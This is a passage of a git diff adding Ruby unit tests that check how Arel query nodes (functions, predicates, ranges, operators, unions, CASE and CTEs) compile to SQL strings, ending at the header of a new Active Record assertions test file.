+        it "should visit named functions" do
+          function = Nodes::NamedFunction.new("omg", [Arel.star])
+          assert_equal "omg(*)", compile(function)
+        end
+
+        it "should chain predications on named functions" do
+          function = Nodes::NamedFunction.new("omg", [Arel.star])
+          sql = compile(function.eq(2))
+          _(sql).must_be_like %{ omg(*) = 2 }
+        end
+
+        it "should handle nil with named functions" do
+          function = Nodes::NamedFunction.new("omg", [Arel.star])
+          sql = compile(function.eq(nil))
+          _(sql).must_be_like %{ omg(*) IS NULL }
+        end
+
+        it "should mark collector as non-retryable when visiting named function" do
+          function = Nodes::NamedFunction.new("ABS", [@table])
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(function, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should mark collector as non-retryable when visiting SQL literal" do
+          node = Nodes::SqlLiteral.new("COUNT(*)")
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(node, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should not change retryable if SQL literal is marked as retryable" do
+          node = Nodes::SqlLiteral.new("COUNT(*)", retryable: true)
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(node, collector)
+
+          assert_predicate collector, :retryable
+        end
+
+        it "should mark collector as non-retryable if SQL literal is not retryable" do
+          node = Nodes::As.new(
+            Nodes::SqlLiteral.new("`product.id`"),
+            Nodes::SqlLiteral.new("`product.id`", retryable: true)
+          )
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(node, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should mark collector as non-retryable when visiting bound SQL literal" do
+          node = Nodes::BoundSqlLiteral.new("id IN (?)", [[1, 2, 3]], {})
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(node, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should mark collector as non-retryable when visiting insert statement node" do
+          statement = Arel::Nodes::InsertStatement.new(@table)
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(statement, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should mark collector as non-retryable when visiting update statement node" do
+          statement = Arel::Nodes::UpdateStatement.new(@table)
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(statement, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should mark collector as non-retryable when visiting delete statement node" do
+          statement = Arel::Nodes::DeleteStatement.new(@table)
+          collector = Collectors::SQLString.new
+          collector.retryable = true
+          @visitor.accept(statement, collector)
+
+          assert_equal false, collector.retryable
+        end
+
+        it "should visit built-in functions" do
+          function = Nodes::Count.new([Arel.star])
+          assert_equal "COUNT(*)", compile(function)
+
+          function = Nodes::Sum.new([Arel.star])
+          assert_equal "SUM(*)", compile(function)
+
+          function = Nodes::Max.new([Arel.star])
+          assert_equal "MAX(*)", compile(function)
+
+          function = Nodes::Min.new([Arel.star])
+          assert_equal "MIN(*)", compile(function)
+
+          function = Nodes::Avg.new([Arel.star])
+          assert_equal "AVG(*)", compile(function)
+        end
+
+        it "should visit built-in functions operating on distinct values" do
+          function = Nodes::Count.new([Arel.star])
+          function.distinct = true
+          assert_equal "COUNT(DISTINCT *)", compile(function)
+
+          function = Nodes::Sum.new([Arel.star])
+          function.distinct = true
+          assert_equal "SUM(DISTINCT *)", compile(function)
+
+          function = Nodes::Max.new([Arel.star])
+          function.distinct = true
+          assert_equal "MAX(DISTINCT *)", compile(function)
+
+          function = Nodes::Min.new([Arel.star])
+          function.distinct = true
+          assert_equal "MIN(DISTINCT *)", compile(function)
+
+          function = Nodes::Avg.new([Arel.star])
+          function.distinct = true
+          assert_equal "AVG(DISTINCT *)", compile(function)
+        end
+
+        it "works with lists" do
+          function = Nodes::NamedFunction.new("omg", [Arel.star, Arel.star])
+          assert_equal "omg(*, *)", compile(function)
+        end
+
+        describe "Nodes::Equality" do
+          it "should escape strings" do
+            test = Table.new(:users)[:name].eq "Aaron Patterson"
+            _(compile(test)).must_be_like %{
+              "users"."name" = 'Aaron Patterson'
+            }
+          end
+
+          it "should handle false" do
+            table = Table.new(:users)
+            val = Nodes.build_quoted(false, table[:active])
+            sql = compile Nodes::Equality.new(val, val)
+            _(sql).must_be_like %{ 'f' = 'f' }
+          end
+
+          it "should handle nil" do
+            sql = compile Nodes::Equality.new(@table[:name], nil)
+            _(sql).must_be_like %{ "users"."name" IS NULL }
+          end
+        end
+
+        describe "Nodes::Grouping" do
+          it "wraps nested groupings in brackets only once" do
+            sql = compile Nodes::Grouping.new(Nodes::Grouping.new(Nodes.build_quoted("foo")))
+            _(sql).must_equal "('foo')"
+          end
+        end
+
+        describe "Nodes::NotEqual" do
+          it "should handle false" do
+            val = Nodes.build_quoted(false, @table[:active])
+            sql = compile Nodes::NotEqual.new(@table[:active], val)
+            _(sql).must_be_like %{ "users"."active" != 'f' }
+          end
+
+          it "should handle nil" do
+            val = Nodes.build_quoted(nil, @table[:active])
+            sql = compile Nodes::NotEqual.new(@table[:name], val)
+            _(sql).must_be_like %{ "users"."name" IS NOT NULL }
+          end
+        end
+
+        describe "Nodes::IsNotDistinctFrom" do
+          it "should construct a valid generic SQL statement" do
+            test = Table.new(:users)[:name].is_not_distinct_from "Aaron Patterson"
+            _(compile(test)).must_be_like %{
+              CASE WHEN "users"."name" = 'Aaron Patterson' OR ("users"."name" IS NULL AND 'Aaron Patterson' IS NULL) THEN 0 ELSE 1 END = 0
+            }
+          end
+
+          it "should handle column names on both sides" do
+            test = Table.new(:users)[:first_name].is_not_distinct_from Table.new(:users)[:last_name]
+            _(compile(test)).must_be_like %{
+              CASE WHEN "users"."first_name" = "users"."last_name" OR ("users"."first_name" IS NULL AND "users"."last_name" IS NULL) THEN 0 ELSE 1 END = 0
+            }
+          end
+
+          it "should handle nil" do
+            val = Nodes.build_quoted(nil, @table[:active])
+            sql = compile Nodes::IsNotDistinctFrom.new(@table[:name], val)
+            _(sql).must_be_like %{ "users"."name" IS NULL }
+          end
+        end
+
+        describe "Nodes::IsDistinctFrom" do
+          it "should handle column names on both sides" do
+            test = Table.new(:users)[:first_name].is_distinct_from Table.new(:users)[:last_name]
+            _(compile(test)).must_be_like %{
+              CASE WHEN "users"."first_name" = "users"."last_name" OR ("users"."first_name" IS NULL AND "users"."last_name" IS NULL) THEN 0 ELSE 1 END = 1
+            }
+          end
+
+          it "should handle nil" do
+            val = Nodes.build_quoted(nil, @table[:active])
+            sql = compile Nodes::IsDistinctFrom.new(@table[:name], val)
+            _(sql).must_be_like %{ "users"."name" IS NOT NULL }
+          end
+        end
+
+        it "should visit string subclass" do
+          [
+            Class.new(String).new(":'("),
+            Class.new(Class.new(String)).new(":'("),
+          ].each do |obj|
+            val = Nodes.build_quoted(obj, @table[:active])
+            sql = compile Nodes::NotEqual.new(@table[:name], val)
+            _(sql).must_be_like %{ "users"."name" != ':\\'(' }
+          end
+        end
+
+        it "should visit_Class" do
+          _(compile(Nodes.build_quoted(DateTime))).must_equal "'DateTime'"
+        end
+
+        it "should escape LIMIT" do
+          sc = Arel::Nodes::SelectStatement.new
+          sc.limit = Arel::Nodes::Limit.new(Nodes.build_quoted("omg"))
+          assert_match(/LIMIT 'omg'/, compile(sc))
+        end
+
+        it "should contain a single space before ORDER BY" do
+          table = Table.new(:users)
+          test = table.order(table[:name])
+          sql = compile test
+          assert_match(/"users" ORDER BY/, sql)
+        end
+
+        it "should quote LIMIT without column type coercion" do
+          table = Table.new(:users)
+          sc = table.where(table[:name].eq(0)).take(1).ast
+          assert_match(/WHERE "users"."name" = 0 LIMIT 1/, compile(sc))
+        end
+
+        it "should visit_DateTime" do
+          dt = DateTime.now
+          table = Table.new(:users)
+          test = table[:created_at].eq dt
+          sql = compile test
+
+          _(sql).must_be_like %{"users"."created_at" = '#{dt.strftime("%Y-%m-%d %H:%M:%S")}'}
+        end
+
+        it "should visit_Float" do
+          test = Table.new(:products)[:price].eq 2.14
+          sql = compile test
+          _(sql).must_be_like %{"products"."price" = 2.14}
+        end
+
+        it "should visit_Not" do
+          sql = compile Nodes::Not.new(Arel.sql("foo"))
+          _(sql).must_be_like "NOT (foo)"
+        end
+
+        it "should apply Not to the whole expression" do
+          node = Nodes::And.new [@attr.eq(10), @attr.eq(11)]
+          sql = compile Nodes::Not.new(node)
+          _(sql).must_be_like %{NOT ("users"."id" = 10 AND "users"."id" = 11)}
+        end
+
+        it "should visit_As" do
+          as = Nodes::As.new(Arel.sql("foo"), Arel.sql("bar"))
+          sql = compile as
+          _(sql).must_be_like "foo AS bar"
+        end
+
+        it "should visit_Integer" do
+          _(compile(8787878092)).must_equal "8787878092"
+        end
+
+        it "should visit_Hash" do
+          _(compile(Nodes.build_quoted(a: 1))).must_equal "'#{{ a: 1 }.inspect}'"
+        end
+
+        it "should visit_Set" do
+          _(compile(Set.new([1, 2]))).must_equal "1, 2"
+        end
+
+        it "should visit_BigDecimal" do
+          _(compile(Nodes.build_quoted(BigDecimal("2.14")))).must_equal "2.14"
+        end
+
+        it "should visit_Date" do
+          dt = Date.today
+          table = Table.new(:users)
+          test = table[:created_at].eq dt
+          sql = compile test
+
+          _(sql).must_be_like %{"users"."created_at" = '#{dt.strftime("%Y-%m-%d")}'}
+        end
+
+        it "should visit_NilClass" do
+          _(compile(Nodes.build_quoted(nil))).must_be_like "NULL"
+        end
+
+        it "unsupported input should raise UnsupportedVisitError" do
+          error = assert_raises(UnsupportedVisitError) { compile(nil) }
+          assert_match(/\AUnsupported/, error.message)
+        end
+
+        it "should visit_Arel_SelectManager, which is a subquery" do
+          mgr = Table.new(:foo).project(:bar)
+          _(compile(mgr)).must_be_like '(SELECT bar FROM "foo")'
+        end
+
+        it "should visit_Arel_Nodes_And" do
+          node = Nodes::And.new [@attr.eq(10), @attr.eq(11)]
+          _(compile(node)).must_be_like %{
+            "users"."id" = 10 AND "users"."id" = 11
+          }
+        end
+
+        it "should visit_Arel_Nodes_Or" do
+          node = Nodes::Or.new [@attr.eq(10), @attr.eq(11)]
+          _(compile(node)).must_be_like %{
+            "users"."id" = 10 OR "users"."id" = 11
+          }
+        end
+
+        it "should visit_Arel_Nodes_Assignment" do
+          column = @table["id"]
+          node = Nodes::Assignment.new(
+            Nodes::UnqualifiedColumn.new(column),
+            Nodes::UnqualifiedColumn.new(column)
+          )
+          _(compile(node)).must_be_like %{
+            "id" = "id"
+          }
+        end
+
+        it "should visit_TrueClass" do
+          test = Table.new(:users)[:bool].eq(true)
+          _(compile(test)).must_be_like %{ "users"."bool" = 't' }
+        end
+
+        describe "Nodes::Matches" do
+          it "should know how to visit" do
+            node = @table[:name].matches("foo%")
+            _(compile(node)).must_be_like %{
+              "users"."name" LIKE 'foo%'
+            }
+          end
+
+          it "can handle ESCAPE" do
+            node = @table[:name].matches("foo!%", "!")
+            _(compile(node)).must_be_like %{
+              "users"."name" LIKE 'foo!%' ESCAPE '!'
+            }
+          end
+
+          it "can handle subqueries" do
+            subquery = @table.project(:id).where(@table[:name].matches("foo%"))
+            node = @attr.in subquery
+            _(compile(node)).must_be_like %{
+              "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" LIKE 'foo%')
+            }
+          end
+        end
+
+        describe "Nodes::DoesNotMatch" do
+          it "should know how to visit" do
+            node = @table[:name].does_not_match("foo%")
+            _(compile(node)).must_be_like %{
+              "users"."name" NOT LIKE 'foo%'
+            }
+          end
+
+          it "can handle ESCAPE" do
+            node = @table[:name].does_not_match("foo!%", "!")
+            _(compile(node)).must_be_like %{
+              "users"."name" NOT LIKE 'foo!%' ESCAPE '!'
+            }
+          end
+
+          it "can handle subqueries" do
+            subquery = @table.project(:id).where(@table[:name].does_not_match("foo%"))
+            node = @attr.in subquery
+            _(compile(node)).must_be_like %{
+              "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" NOT LIKE 'foo%')
+            }
+          end
+        end
+
+        describe "Nodes::Ordering" do
+          it "should know how to visit" do
+            node = @attr.desc
+            _(compile(node)).must_be_like %{
+              "users"."id" DESC
+            }
+          end
+
+          it "should handle nulls first" do
+            node = @attr.desc.nulls_first
+            _(compile(node)).must_be_like %{
+              "users"."id" DESC NULLS FIRST
+            }
+          end
+
+          it "should handle nulls last" do
+            node = @attr.desc.nulls_last
+            _(compile(node)).must_be_like %{
+              "users"."id" DESC NULLS LAST
+            }
+          end
+
+          it "should handle nulls first reversed" do
+            node = @attr.desc.nulls_first.reverse
+            _(compile(node)).must_be_like %{
+              "users"."id" ASC NULLS LAST
+            }
+          end
+
+          it "should handle nulls last reversed" do
+            node = @attr.desc.nulls_last.reverse
+            _(compile(node)).must_be_like %{
+              "users"."id" ASC NULLS FIRST
+            }
+          end
+        end
+
+        describe "Nodes::In" do
+          it "should know how to visit" do
+            node = @attr.in [1, 2, 3]
+            _(compile(node)).must_be_like %{
+              "users"."id" IN (1, 2, 3)
+            }
+          end
+
+          it "should return 1=0 when empty right which is always false" do
+            node = @attr.in []
+            _(compile(node)).must_equal "1=0"
+          end
+
+          it "can handle two dot ranges" do
+            node = @attr.between 1..3
+            _(compile(node)).must_be_like %{
+              "users"."id" BETWEEN 1 AND 3
+            }
+          end
+
+          it "can handle three dot ranges" do
+            node = @attr.between 1...3
+            _(compile(node)).must_be_like %{
+              "users"."id" >= 1 AND "users"."id" < 3
+            }
+          end
+
+          it "can handle ranges bounded by infinity" do
+            node = @attr.between 1..Float::INFINITY
+            _(compile(node)).must_be_like %{
+              "users"."id" >= 1
+            }
+            node = @attr.between(-Float::INFINITY..3)
+            _(compile(node)).must_be_like %{
+              "users"."id" <= 3
+            }
+            node = @attr.between(-Float::INFINITY...3)
+            _(compile(node)).must_be_like %{
+              "users"."id" < 3
+            }
+            node = @attr.between(-Float::INFINITY..Float::INFINITY)
+            _(compile(node)).must_be_like %{1=1}
+          end
+
+          it "can handle subqueries" do
+            table = Table.new(:users)
+            subquery = table.project(:id).where(table[:name].eq("Aaron"))
+            node = @attr.in subquery
+            _(compile(node)).must_be_like %{
+              "users"."id" IN (SELECT id FROM "users" WHERE "users"."name" = 'Aaron')
+            }
+          end
+
+          it "is not preparable when an array" do
+            node = @attr.in [1, 2, 3]
+
+            collector = Collectors::SQLString.new.tap { |c| c.preparable = true }
+            @visitor.accept(node, collector)
+            _(collector.preparable).must_equal false
+          end
+
+          it "is preparable when a subselect" do
+            table = Table.new(:users)
+            subquery = table.project(table[:id]).where(table[:name].eq("Aaron"))
+            node = @attr.in subquery
+
+            collector = Collectors::SQLString.new.tap { |c| c.preparable = true }
+            @visitor.accept(node, collector)
+            _(collector.preparable).must_equal true
+          end
+        end
+
+        describe "Nodes::InfixOperation" do
+          it "should handle Multiplication" do
+            node = Arel::Attribute.new(Table.new(:products), :price) * Arel::Attribute.new(Table.new(:currency_rates), :rate)
+            _(compile(node)).must_equal %("products"."price" * "currency_rates"."rate")
+          end
+
+          it "should handle Division" do
+            node = Arel::Attribute.new(Table.new(:products), :price) / 5
+            _(compile(node)).must_equal %("products"."price" / 5)
+          end
+
+          it "should handle Addition" do
+            node = Arel::Attribute.new(Table.new(:products), :price) + 6
+            _(compile(node)).must_equal %(("products"."price" + 6))
+          end
+
+          it "should handle Subtraction" do
+            node = Arel::Attribute.new(Table.new(:products), :price) - 7
+            _(compile(node)).must_equal %(("products"."price" - 7))
+          end
+
+          it "should handle Concatenation" do
+            table = Table.new(:users)
+            node = table[:name].concat(table[:name])
+            _(compile(node)).must_equal %("users"."name" || "users"."name")
+          end
+
+          it "should handle Contains" do
+            table = Table.new(:users)
+            node = table[:name].contains(table[:name])
+            _(compile(node)).must_equal %("users"."name" @> "users"."name")
+          end
+
+          it "should handle Overlaps" do
+            table = Table.new(:users)
+            node = table[:name].overlaps(table[:name])
+            _(compile(node)).must_equal %("users"."name" && "users"."name")
+          end
+
+          it "should handle BitwiseAnd" do
+            node = Arel::Attribute.new(Table.new(:products), :bitmap) & 16
+            _(compile(node)).must_equal %(("products"."bitmap" & 16))
+          end
+
+          it "should handle BitwiseOr" do
+            node = Arel::Attribute.new(Table.new(:products), :bitmap) | 16
+            _(compile(node)).must_equal %(("products"."bitmap" | 16))
+          end
+
+          it "should handle BitwiseXor" do
+            node = Arel::Attribute.new(Table.new(:products), :bitmap) ^ 16
+            _(compile(node)).must_equal %(("products"."bitmap" ^ 16))
+          end
+
+          it "should handle BitwiseShiftLeft" do
+            node = Arel::Attribute.new(Table.new(:products), :bitmap) << 4
+            _(compile(node)).must_equal %(("products"."bitmap" << 4))
+          end
+
+          it "should handle BitwiseShiftRight" do
+            node = Arel::Attribute.new(Table.new(:products), :bitmap) >> 4
+            _(compile(node)).must_equal %(("products"."bitmap" >> 4))
+          end
+
+          it "should handle arbitrary operators" do
+            node = Arel::Nodes::InfixOperation.new(
+              "&&",
+              Arel::Attribute.new(Table.new(:products), :name),
+              Arel::Attribute.new(Table.new(:products), :name)
+            )
+            _(compile(node)).must_equal %("products"."name" && "products"."name")
+          end
+        end
+
+        describe "Nodes::UnaryOperation" do
+          it "should handle BitwiseNot" do
+            node = ~ Arel::Attribute.new(Table.new(:products), :bitmap)
+            _(compile(node)).must_equal %( ~ "products"."bitmap")
+          end
+
+          it "should handle arbitrary operators" do
+            node = Arel::Nodes::UnaryOperation.new("!", Arel::Attribute.new(Table.new(:products), :active))
+            _(compile(node)).must_equal %( ! "products"."active")
+          end
+        end
+
+        describe "Nodes::Union" do
+          it "squashes parenthesis on multiple unions" do
+            subnode = Nodes::Union.new Arel.sql("left"), Arel.sql("right")
+            node = Nodes::Union.new subnode, Arel.sql("topright")
+            assert_equal("( left UNION right UNION topright )", compile(node))
+            subnode = Nodes::Union.new Arel.sql("left"), Arel.sql("right")
+            node = Nodes::Union.new Arel.sql("topleft"), subnode
+            assert_equal("( topleft UNION left UNION right )", compile(node))
+          end
+
+          it "encloses SELECT statements with parentheses" do
+            table = Table.new(:users)
+            left = table.where(table[:name].eq(0)).take(1).ast
+            right = table.where(table[:name].eq(1)).take(1).ast
+            node = Nodes::Union.new left, right
+            assert_match(/LIMIT 1\) UNION \(/, compile(node))
+          end
+        end
+
+        describe "Nodes::UnionAll" do
+          it "squashes parenthesis on multiple union alls" do
+            subnode = Nodes::UnionAll.new Arel.sql("left"), Arel.sql("right")
+            node = Nodes::UnionAll.new subnode, Arel.sql("topright")
+            assert_equal("( left UNION ALL right UNION ALL topright )", compile(node))
+            subnode = Nodes::UnionAll.new Arel.sql("left"), Arel.sql("right")
+            node = Nodes::UnionAll.new Arel.sql("topleft"), subnode
+            assert_equal("( topleft UNION ALL left UNION ALL right )", compile(node))
+          end
+
+          it "encloses SELECT statements with parentheses" do
+            table = Table.new(:users)
+            left = table.where(table[:name].eq(0)).take(1).ast
+            right = table.where(table[:name].eq(1)).take(1).ast
+            node = Nodes::UnionAll.new left, right
+            assert_match(/LIMIT 1\) UNION ALL \(/, compile(node))
+          end
+        end
+
+        describe "Nodes::NotIn" do
+          it "should know how to visit" do
+            node = @attr.not_in [1, 2, 3]
+            _(compile(node)).must_be_like %{
+              "users"."id" NOT IN (1, 2, 3)
+            }
+          end
+
+          it "should return 1=1 when empty right which is always true" do
+            node = @attr.not_in []
+            _(compile(node)).must_equal "1=1"
+          end
+
+          it "can handle two dot ranges" do
+            node = @attr.not_between 1..3
+            _(compile(node)).must_equal(
+              %{("users"."id" < 1 OR "users"."id" > 3)}
+            )
+          end
+
+          it "can handle three dot ranges" do
+            node = @attr.not_between 1...3
+            _(compile(node)).must_equal(
+              %{("users"."id" < 1 OR "users"."id" >= 3)}
+            )
+          end
+
+          it "can handle ranges bounded by infinity" do
+            node = @attr.not_between 1..Float::INFINITY
+            _(compile(node)).must_be_like %{
+              "users"."id" < 1
+            }
+            node = @attr.not_between(-Float::INFINITY..3)
+            _(compile(node)).must_be_like %{
+              "users"."id" > 3
+            }
+            node = @attr.not_between(-Float::INFINITY...3)
+            _(compile(node)).must_be_like %{
+              "users"."id" >= 3
+            }
+            node = @attr.not_between(-Float::INFINITY..Float::INFINITY)
+            _(compile(node)).must_be_like %{1=0}
+          end
+
+          it "can handle subqueries" do
+            table = Table.new(:users)
+            subquery = table.project(:id).where(table[:name].eq("Aaron"))
+            node = @attr.not_in subquery
+            _(compile(node)).must_be_like %{
+              "users"."id" NOT IN (SELECT id FROM "users" WHERE "users"."name" = 'Aaron')
+            }
+          end
+
+          it "is not preparable when an array" do
+            node = @attr.not_in [1, 2, 3]
+
+            collector = Collectors::SQLString.new.tap { |c| c.preparable = true }
+            @visitor.accept(node, collector)
+            _(collector.preparable).must_equal false
+          end
+
+          it "is preparable when a subselect" do
+            table = Table.new(:users)
+            subquery = table.project(table[:id]).where(table[:name].eq("Aaron"))
+            node = @attr.not_in subquery
+
+            collector = Collectors::SQLString.new.tap { |c| c.preparable = true }
+            @visitor.accept(node, collector)
+            _(collector.preparable).must_equal true
+          end
+        end
+
+        describe "Constants" do
+          it "should handle true" do
+            test = Table.new(:users).create_true
+            _(compile(test)).must_be_like %{
+              TRUE
+            }
+          end
+
+          it "should handle false" do
+            test = Table.new(:users).create_false
+            _(compile(test)).must_be_like %{
+              FALSE
+            }
+          end
+        end
+
+        describe "Nodes::BoundSqlLiteral" do
+          it "works with positional binds" do
+            node = Nodes::BoundSqlLiteral.new("id = ?", [1], {})
+            _(compile(node)).must_be_like %{
+              id = ?
+            }
+          end
+
+          it "works with named binds" do
+            node = Nodes::BoundSqlLiteral.new("id = :id", [], { id: 1 })
+            _(compile(node)).must_be_like %{
+              id = ?
+            }
+          end
+
+          it "will only consider named binds starting with a letter" do
+            node = Nodes::BoundSqlLiteral.new("id = :0abc", [], { "0abc": 1 })
+            _(compile(node)).must_be_like %{
+              id = :0abc
+            }
+          end
+
+          it "works with array values" do
+            node = Nodes::BoundSqlLiteral.new("id IN (?)", [[1, 2, 3]], {})
+            _(compile(node)).must_be_like %{
+              id IN (?, ?, ?)
+            }
+          end
+
+          it "refuses mixed binds" do
+            assert_raises(Arel::BindError) do
+              Nodes::BoundSqlLiteral.new("id = ? AND name = :name", [1], { name: "Aaron" })
+            end
+          end
+
+          it "requires positional binds to match the placeholders" do
+            assert_raises(Arel::BindError) do
+              Nodes::BoundSqlLiteral.new("id IN (?, ?, ?)", [1, 2], {})
+            end
+
+            assert_raises(Arel::BindError) do
+              Nodes::BoundSqlLiteral.new("id IN (?, ?, ?)", [1, 2, 3, 4], {})
+            end
+          end
+
+          it "requires all named bind params to be supplied" do
+            assert_raises(Arel::BindError) do
+              Nodes::BoundSqlLiteral.new("id IN (:foo, :bar)", [], { foo: 1 })
+            end
+          end
+
+          it "ignores excess named parameters" do
+            node = Nodes::BoundSqlLiteral.new("id = :id", [], { foo: 2, id: 1, bar: 3 })
+            _(compile(node)).must_be_like %{
+              id = ?
+            }
+          end
+
+          it "quotes nested arrays" do
+            # Two cases to exercise all branches.
+            # For real adapters, quoting arrays may fail in adapter-specific ways.
+
+            inner_literal = Nodes::BoundSqlLiteral.new("? * 2", [4], {})
+            node = Nodes::BoundSqlLiteral.new("id IN (?)", [[1, [2, 3], inner_literal]], {})
+            _(compile(node)).must_be_like %{
+              id IN (?, ?, ? * 2)
+            }
+
+            node = Nodes::BoundSqlLiteral.new("id IN (?)", [[1, [2, 3]]], {})
+            _(compile(node)).must_be_like %{
+              id IN (?, ?)
+            }
+          end
+
+          it "supports other bound literals as binds" do
+            node = Arel.sql("?", [1, 2, Arel.sql("?", 3)])
+            _(compile(node)).must_be_like %{
+              ?, ?, ?
+            }
+          end
+        end
+
+        describe "Table" do
+          it "should compile node names" do
+            test = Table.new(:users).alias("zomgusers")[:id].eq "3"
+            _(compile(test)).must_be_like %{
+              "zomgusers"."id" = '3'
+            }
+          end
+
+          it "should compile literal SQL"  do
+            test = Table.new Arel.sql("generate_series(4, 2)")
+            _(compile(test)).must_be_like %{ generate_series(4, 2) }
+          end
+
+          it "should compile Arel nodes"  do
+            test = Arel::Nodes::NamedFunction.new("generate_series", [4, 2])
+            _(compile(test)).must_be_like %{ generate_series(4, 2) }
+          end
+
+          it "should compile nodes with bind params" do
+            bp = Nodes::BindParam.new(1)
+            test = Arel::Nodes::NamedFunction.new("generate_series", [4, bp])
+            _(compile(test)).must_be_like %{ generate_series(4, ?) }
+          end
+        end
+
+        describe "TableAlias" do
+          it "should use the underlying table for checking columns" do
+            test = Table.new(:users).alias("zomgusers")[:id].eq "3"
+            _(compile(test)).must_be_like %{
+              "zomgusers"."id" = '3'
+            }
+          end
+        end
+
+        describe "distinct on" do
+          it "raises not implemented error" do
+            core = Arel::Nodes::SelectCore.new
+            core.set_quantifier = Arel::Nodes::DistinctOn.new(Arel.sql("aaron"))
+
+            assert_raises(NotImplementedError) do
+              compile(core)
+            end
+          end
+        end
+
+        describe "Nodes::Regexp" do
+          it "raises not implemented error" do
+            node = Arel::Nodes::Regexp.new(@table[:name], Nodes.build_quoted("foo%"))
+
+            assert_raises(NotImplementedError) do
+              compile(node)
+            end
+          end
+        end
+
+        describe "Nodes::NotRegexp" do
+          it "raises not implemented error" do
+            node = Arel::Nodes::NotRegexp.new(@table[:name], Nodes.build_quoted("foo%"))
+
+            assert_raises(NotImplementedError) do
+              compile(node)
+            end
+          end
+        end
+
+        describe "Nodes::Case" do
+          it "supports simple case expressions" do
+            node = Arel::Nodes::Case.new(@table[:name])
+              .when("foo").then(1)
+              .else(0)
+
+            _(compile(node)).must_be_like %{
+              CASE "users"."name" WHEN 'foo' THEN 1 ELSE 0 END
+            }
+          end
+
+          it "supports extended case expressions" do
+            node = Arel::Nodes::Case.new
+              .when(@table[:name].in(%w(foo bar))).then(1)
+              .else(0)
+
+            _(compile(node)).must_be_like %{
+              CASE WHEN "users"."name" IN ('foo', 'bar') THEN 1 ELSE 0 END
+            }
+          end
+
+          it "works without default branch" do
+            node = Arel::Nodes::Case.new(@table[:name])
+              .when("foo").then(1)
+
+            _(compile(node)).must_be_like %{
+              CASE "users"."name" WHEN 'foo' THEN 1 END
+            }
+          end
+
+          it "allows chaining multiple conditions" do
+            node = Arel::Nodes::Case.new(@table[:name])
+              .when("foo").then(1)
+              .when("bar").then(2)
+              .else(0)
+
+            _(compile(node)).must_be_like %{
+              CASE "users"."name" WHEN 'foo' THEN 1 WHEN 'bar' THEN 2 ELSE 0 END
+            }
+          end
+
+          it "supports #when with two arguments and no #then" do
+            node = Arel::Nodes::Case.new @table[:name]
+
+            { foo: 1, bar: 0 }.reduce(node) { |_node, pair| _node.when(*pair) }
+
+            _(compile(node)).must_be_like %{
+              CASE "users"."name" WHEN 'foo' THEN 1 WHEN 'bar' THEN 0 END
+            }
+          end
+
+          it "can be chained as a predicate" do
+            node = @table[:name].when("foo").then("bar").else("baz")
+
+            _(compile(node)).must_be_like %{
+              CASE "users"."name" WHEN 'foo' THEN 'bar' ELSE 'baz' END
+            }
+          end
+        end
+
+        describe "Nodes::With" do
+          it "handles table aliases" do
+            manager = Table.new(:foo).project(Arel.star).from(Arel.sql("expr2"))
+            expr1 = Table.new(:bar).project(Arel.star).as("expr1")
+            expr2 = Table.new(:baz).project(Arel.star).as("expr2")
+            manager.with(expr1, expr2)
+
+            _(compile(manager.ast)).must_be_like %{
+              WITH expr1 AS (SELECT * FROM "bar"), expr2 AS (SELECT * FROM "baz") SELECT * FROM expr2
+            }
+          end
+
+          it "handles Cte nodes" do
+            cte = Arel::Nodes::Cte.new("expr1", Table.new(:bar).project(Arel.star))
+            manager = Table.new(:foo).
+              project(Arel.star).
+              with(cte).
+              from(cte.to_table).
+              where(cte.to_table[:score].gt(5))
+
+            _(compile(manager.ast)).must_be_like %{
+              WITH "expr1" AS (SELECT * FROM "bar") SELECT * FROM "expr1" WHERE "expr1"."score" > 5
+            }
+          end
+        end
+
+        describe "Nodes::WithRecursive" do
+          it "handles table aliases" do
+            manager = Table.new(:foo).project(Arel.star).from(Arel.sql("expr1"))
+            expr1 = Table.new(:bar).project(Arel.star).as("expr1")
+            manager.with(:recursive, expr1)
+
+            _(compile(manager.ast)).must_be_like %{
+              WITH RECURSIVE expr1 AS (SELECT * FROM "bar") SELECT * FROM expr1
+            }
+          end
+        end
+
+        describe "Nodes::Cte" do
+          it "handles CTEs with no MATERIALIZED modifier" do
+            cte = Nodes::Cte.new("foo", Table.new(:bar).project(Arel.star))
+
+            _(compile(cte)).must_be_like %{
+              "foo" AS (SELECT * FROM "bar")
+            }
+          end
+
+          it "handles CTEs with a MATERIALIZED modifier" do
+            cte = Nodes::Cte.new("foo", Table.new(:bar).project(Arel.star), materialized: true)
+
+            _(compile(cte)).must_be_like %{
+              "foo" AS MATERIALIZED (SELECT * FROM "bar")
+            }
+          end
+
+          it "handles CTEs with a NOT MATERIALIZED modifier" do
+            cte = Nodes::Cte.new("foo", Table.new(:bar).project(Arel.star), materialized: false)
+
+            _(compile(cte)).must_be_like %{
+              "foo" AS NOT MATERIALIZED (SELECT * FROM "bar")
+            }
+          end
+        end
+
+        describe "Nodes::Fragments" do
+          it "joins subexpressions" do
+            sql = Arel.sql("SELECT foo, bar") + Arel.sql(" FROM customers")
+            _(compile(sql)).must_be_like "SELECT foo, bar FROM customers"
+          end
+
+          it "can be built by adding SQL fragments one at a time" do
+            sql = Arel.sql("SELECT foo, bar")
+            sql += Arel.sql("FROM customers")
+            sql += Arel.sql("GROUP BY foo")
+            _(compile(sql)).must_be_like "SELECT foo, bar FROM customers GROUP BY foo"
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/assertions/query_assertions_test.rb b/activerecord/test/cases/assertions/query_assertions_test.rb
new file mode 100644
index 0000000000000..7993b237a00ba
--- /dev/null
+++ b/activerecord/test/cases/assertions/query_assertions_test.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
